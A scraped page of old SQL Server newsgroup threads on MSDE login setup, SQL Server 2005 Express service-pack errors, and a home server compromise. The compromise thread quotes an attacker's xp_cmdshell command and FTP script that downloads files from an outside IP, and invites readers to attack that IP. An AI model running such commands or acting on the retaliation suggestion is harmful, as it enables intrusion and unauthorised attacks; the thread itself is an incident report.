I have a very basic workgroup at home. I have three
computers, two of them on XP Pro (the ones I'm using MSDE
with). I was able to install MSDE and I see the icon on
my system tray. Now, I was reading how to upsize an
Access database from this page
http://msdn.microsoft.com/library/default.asp?
url=/library/en-us/dnmsde/html/msdeforvs.asp
I choose to create a new database after starting the
Upsize wizard. Then I choose the server, which shows up
in the drop down box. Then it asks me for a username and
password that has "CREATE DATABASE" privileges on the
server. So I put my administrator user name and password
in, then choose the name of my new MSDE database, but it
won't connect. I then tried using no username or
password and I get another error message. What's going
on?
This is a link to my errors.
http://www.neolinkcomputers.com/stuf...tion_errors.ht
m
Thanks
hi,
"Culbert" <anonymous@.discussions.microsoft.com> ha scritto nel messaggio
news:9fc901c47908$3cad5bf0$a501280a@.phx.gbl...
> I have a very basic workgroup at home. I have three
> computers, two of them on XP Pro (the ones I'm using MSDE
> with). I was able to install MSDE and I see the icon on
> my system tray. Now, I was reading how to upsize an
> Access database from this page
> http://msdn.microsoft.com/library/default.asp?
> url=/library/en-us/dnmsde/html/msdeforvs.asp
> I choose to create a new database after starting the
> Upsize wizard. Then I choose the server, which shows up
> in the drop down box. Then it asks me for a username and
> password that has "CREATE DATABASE" privileges on the
> server. So I put my administrator user name and password
> in, then choose the name of my new MSDE database, but it
> won't connect. I then tried using no username or
> password and I get another error message. What's going
> on?
> This is a link to my errors.
> http://www.neolinkcomputers.com/stuf...tion_errors.ht
> m
> Thanks
the reported errors indicate :
a) you instance is set to only allow Windows NT (trusted) connection, which
is the default when installing MSDE on Windows NT platform... in order to
allow SQL Server authenticated connection, please have a look at
http://support.microsoft.com/default...b;en-us;285097 for further
info in order to change this behaviour both at install time and later...
b)you windows account you are using to connect to that MSDE instance is not
granted login provileges...
you have to login with a sysadmin login, usually part of
builtin\administrators of SQL Server, and grant that windows account login
privileges using sp_grantlogin system stored procedure
(http://msdn.microsoft.com/library/de...-us/tsqlref/ts
_sp_ga-gz_8dri.asp) and then grant database access to that login for all
desired databases using sp_grantdbaccess system stored procedure
(http://msdn.microsoft.com/library/de...-us/tsqlref/ts
_sp_ga-gz_290z.asp)
for your convenience, you can have a look at a free prj of mine at the link
following my sign., which provides a user interface similar to Enterprise
Manager, which provides these functionnalities too in a viusal way..
further free and/or commercial tools for managing MSDE can be found at
http://www.microsoft.com/sql/msde/partners/default.asp and
http://www.aspfaq.com/show.asp?id=2442
Andrea Montanari (Microsoft MVP - SQL Server)
http://www.asql.biz/DbaMgr.shtmhttp://italy.mvps.org
DbaMgr2k ver 0.8.0 - DbaMgr ver 0.54.0
(my vb6+sql-dmo little try to provide MS MSDE 1.0 and MSDE 2000 a visual
interface)
-- remove DMO to reply
|||
>--Original Message--
>hi,
>"Culbert" <anonymous@.discussions.microsoft.com> ha
scritto nel messaggio[vbcol=seagreen]
>news:9fc901c47908$3cad5bf0$a501280a@.phx.gbl...
MSDE[vbcol=seagreen]
http://www.neolinkcomputers.com/stuf...tion_errors.ht
>the reported errors indicate :
>a) you instance is set to only allow Windows NT (trusted)
connection, which
>is the default when installing MSDE on Windows NT
platform... in order to
>allow SQL Server authenticated connection, please have a
look at
>http://support.microsoft.com/default.aspx?scid=kb;en-
us;285097 for further
>info in order to change this behaviour both at install
time and later...
>b)you windows account you are using to connect to that
MSDE instance is not
>granted login provileges...
>you have to login with a sysadmin login, usually part of
>builtin\administrators of SQL Server, and grant that
windows account login
>privileges using sp_grantlogin system stored procedure
>(http://msdn.microsoft.com/library/default.asp?
url=/library/en-us/tsqlref/ts
>_sp_ga-gz_8dri.asp) and then grant database access to
that login for all
>desired databases using sp_grantdbaccess system stored
procedure
>(http://msdn.microsoft.com/library/default.asp?
url=/library/en-us/tsqlref/ts
>_sp_ga-gz_290z.asp)
>for your convenience, you can have a look at a free prj
of mine at the link
>following my sign., which provides a user interface
similar to Enterprise
>Manager, which provides these functionnalities too in a
viusal way..
>further free and/or commercial tools for managing MSDE
can be found at
>http://www.microsoft.com/sql/msde/partners/default.asp and
>http://www.aspfaq.com/show.asp?id=2442
>--
>Andrea Montanari (Microsoft MVP - SQL Server)
>http://www.asql.biz/DbaMgr.shtm
http://italy.mvps.org
>DbaMgr2k ver 0.8.0 - DbaMgr ver 0.54.0
>(my vb6+sql-dmo little try to provide MS MSDE 1.0 and
MSDE 2000 a visual
>interface)
>-- remove DMO to reply
>.
Incredible! I haven't tried this yet, but I'm confident
that this will work. Thank you for such a great response!!
>
|||Hi,
Maybe I should start a new thread, but my problem is the same, except that I know that the problem is my TCP/IP Access is disabled to MSDE.
I have no Enterprise Manager, any idea wich registry key I need to modify to enable TCP/IP Access?
(Similar to the SQL/Windows Authentification problem?)
Thanks!|||hi,
"uritsukidoji" <uritsukidoji.1aq8cb@.mail.mcse.ms> ha scritto nel messaggio
news:uritsukidoji.1aq8cb@.mail.mcse.ms...
> Hi,
> Maybe I should start a new thread, but my problem is the same, except
> that I know that the problem is my TCP/IP Access is disabled to MSDE.
> I have no Enterprise Manager, any idea wich registry key I need to
> modify to enable TCP/IP Access?
> (Similar to the SQL/Windows Authentification problem?)
> Thanks!
have a look at Server Network Utility (svrnetcn.exe) for server side
settings, and ClientNetwork Utility (cliconfg.exe) fro client side part
Andrea Montanari (Microsoft MVP - SQL Server)
http://www.asql.biz/DbaMgr.shtmhttp://italy.mvps.org
DbaMgr2k ver 0.8.0 - DbaMgr ver 0.54.0
(my vb6+sql-dmo little try to provide MS MSDE 1.0 and MSDE 2000 a visual
interface)
-- remove DMO to reply
Showing posts with label home. Show all posts
Showing posts with label home. Show all posts
Friday, March 30, 2012
Wednesday, March 28, 2012
Having Problems Installing SQL Server 2005 Express
I am running WinXP Home edition, and I was trying to install SQL Server Express, but the error message is too vague for me fix. It says my computer lacks the "Service Pack Requirements" to run the software, but I'm afraid I don't know which service pack requirements the error is talking about. What Service Pack do I need to download?
Here is the report from the install:
System Configuration Check
- WMI Service Requirement (Success)
Messages
WMI Service Requirement
Check Passed
- MSXML Requirement (Success)
Messages
MSXML Requirement
Check Passed
- Operating System Minimum Level Requirement (Success)
Messages
Operating System Minimum Level Requirement
Check Passed
- Operating System Service Pack Level Requirement. (Error)
MessagesOperating System Service Pack Level Requirement.
The current operating system does not meet Service Pack level requirements for this SQL Server release. Install the most recent Service Pack from the Microsoft download center at http://go.microsoft.com/fwlink/?LinkId=50380, and then run SQL Server Setup again. For hardware and software requirements, see the readme file or SQL Server Books Online.
- SQL Server Edition Operating System Compatibility (Success)
Messages
SQL Server Edition Operating System Compatibility
Check Passed
- Minimum Hardware Requirement (Warning)
Messages
Minimum Hardware Requirement
The current system does not meet the recommended hardware requirements for this SQL Server release. For detailed hardware and software requirements, see the readme file or SQL Server Books Online.
- Pending Reboot Requirement (Success)
Messages
Pending Reboot Requirement
Check Passed
- Default Installation Path Permission Requirement (Success)
Messages
Default Installation Path Permission Requirement
Check Passed
- Internet Explorer Requirement (Success)
Messages
Internet Explorer Requirement
Check Passed
- COM Plus Catalog Requirement (Success)
Messages
COM Plus Catalog Requirement
Check Passed
- ASP.Net Version Registration Requirement (Success)
Messages
ASP.Net Version Registration Requirement
Check Passed
- Minimum MDAC Version Requirement (Success)
Messages
Minimum MDAC Version Requirement
Check Passed
- Edition Change Check (Success)
Messages
Edition Change Check
Check Passed
THe same requirements for Windows XP Professional applies to XP Home:
http://www.microsoft.com/sql/editions/express/sysreqs.mspx
YOu nedd SP2 in order to have the setup working.
HTH, Jens Suessmeyer.
http://www.sqlserver2005.de
HTH, Jens Suessmeyer.
http://www.sqlserver2005.de
|||I installed the Sp2 and problem resolved
Having Problems Installing SQL Server 2005 Express
I am running WinXP Home edition, and I was trying to install SQL Server Express, but the error message is too vague for me fix. It says my computer lacks the "Service Pack Requirements" to run the software, but I'm afraid I don't know which service pack requirements the error is talking about. What Service Pack do I need to download?
Here is the report from the install:
System Configuration Check
- WMI Service Requirement (Success)
Messages
WMI Service Requirement
Check Passed
- MSXML Requirement (Success)
Messages
MSXML Requirement
Check Passed
- Operating System Minimum Level Requirement (Success)
Messages
Operating System Minimum Level Requirement
Check Passed
- Operating System Service Pack Level Requirement. (Error)
MessagesOperating System Service Pack Level Requirement.
The current operating system does not meet Service Pack level requirements for this SQL Server release. Install the most recent Service Pack from the Microsoft download center at http://go.microsoft.com/fwlink/?LinkId=50380, and then run SQL Server Setup again. For hardware and software requirements, see the readme file or SQL Server Books Online.
- SQL Server Edition Operating System Compatibility (Success)
Messages
SQL Server Edition Operating System Compatibility
Check Passed
- Minimum Hardware Requirement (Warning)
Messages
Minimum Hardware Requirement
The current system does not meet the recommended hardware requirements for this SQL Server release. For detailed hardware and software requirements, see the readme file or SQL Server Books Online.
- Pending Reboot Requirement (Success)
Messages
Pending Reboot Requirement
Check Passed
- Default Installation Path Permission Requirement (Success)
Messages
Default Installation Path Permission Requirement
Check Passed
- Internet Explorer Requirement (Success)
Messages
Internet Explorer Requirement
Check Passed
- COM Plus Catalog Requirement (Success)
Messages
COM Plus Catalog Requirement
Check Passed
- ASP.Net Version Registration Requirement (Success)
Messages
ASP.Net Version Registration Requirement
Check Passed
- Minimum MDAC Version Requirement (Success)
Messages
Minimum MDAC Version Requirement
Check Passed
- Edition Change Check (Success)
Messages
Edition Change Check
Check Passed
THe same requirements for Windows XP Professional applies to XP Home:
http://www.microsoft.com/sql/editions/express/sysreqs.mspx
YOu nedd SP2 in order to have the setup working.
HTH, Jens Suessmeyer.
http://www.sqlserver2005.de
HTH, Jens Suessmeyer.
http://www.sqlserver2005.de
|||I installed the Sp2 and problem resolved
Having Problems Installing SQL Server 2005 Express
I am running WinXP Home edition, and I was trying to install SQL Server Express, but the error message is too vague for me fix. It says my computer lacks the "Service Pack Requirements" to run the software, but I'm afraid I don't know which service pack requirements the error is talking about. What Service Pack do I need to download?
Here is the report from the install:
System Configuration Check
- WMI Service Requirement (Success)
Messages
WMI Service Requirement
Check Passed
- MSXML Requirement (Success)
Messages
MSXML Requirement
Check Passed
- Operating System Minimum Level Requirement (Success)
Messages
Operating System Minimum Level Requirement
Check Passed
- Operating System Service Pack Level Requirement. (Error)
MessagesOperating System Service Pack Level Requirement.
The current operating system does not meet Service Pack level requirements for this SQL Server release. Install the most recent Service Pack from the Microsoft download center at http://go.microsoft.com/fwlink/?LinkId=50380, and then run SQL Server Setup again. For hardware and software requirements, see the readme file or SQL Server Books Online.
- SQL Server Edition Operating System Compatibility (Success)
Messages
SQL Server Edition Operating System Compatibility
Check Passed
- Minimum Hardware Requirement (Warning)
Messages
Minimum Hardware Requirement
The current system does not meet the recommended hardware requirements for this SQL Server release. For detailed hardware and software requirements, see the readme file or SQL Server Books Online.
- Pending Reboot Requirement (Success)
Messages
Pending Reboot Requirement
Check Passed
- Default Installation Path Permission Requirement (Success)
Messages
Default Installation Path Permission Requirement
Check Passed
- Internet Explorer Requirement (Success)
Messages
Internet Explorer Requirement
Check Passed
- COM Plus Catalog Requirement (Success)
Messages
COM Plus Catalog Requirement
Check Passed
- ASP.Net Version Registration Requirement (Success)
Messages
ASP.Net Version Registration Requirement
Check Passed
- Minimum MDAC Version Requirement (Success)
Messages
Minimum MDAC Version Requirement
Check Passed
- Edition Change Check (Success)
Messages
Edition Change Check
Check Passed
THe same requirements for Windows XP Professional applies to XP Home:
http://www.microsoft.com/sql/editions/express/sysreqs.mspx
YOu nedd SP2 in order to have the setup working.
HTH, Jens Suessmeyer.
http://www.sqlserver2005.de
HTH, Jens Suessmeyer.
http://www.sqlserver2005.de
|||I installed the Sp2 and problem resolved
Sunday, February 19, 2012
hack using xp_cmdshell
I have a dev box running at home. The box is configured with Win2k Advanced
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password.
While I'm the
first to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=...ublic.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> Advanced
> and
> I'll
was
> a
> use
> sp_who2.
> the
> following:
> will
this
fun!
compromised
> about
them,
my
How
diligent
> the
> runs
> files
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password.
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. While I'm the
> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
you
> mode,
> of
> just
>
http://groups.google.com/groups?oi=...ublic.sqlserver
is
vnc
> was
to
several
of
> this
> fun!
> compromised
> them,
I
> my
> How
> diligent
earlier,
it
>
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password.
While I'm thefirst to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=...ublic.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> Advanced
> and
> I'll
was
> a
> use
> sp_who2.
> the
> following:
> will
this
fun!
compromised
> about
them,
my
How
diligent
> the
> runs
> files
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password.
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password.
While I'm the> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
you
> mode,
> of
> just
>
http://groups.google.com/groups?oi=...ublic.sqlserver
is
vnc
> was
to
several
of
> this
> fun!
> compromised
> them,
I
> my
> How
> diligent
earlier,
it
>
hack using xp_cmdshell
I have a dev box running at home. The box is configured with Win2k Advanced
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password. :) While I'm the
first to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
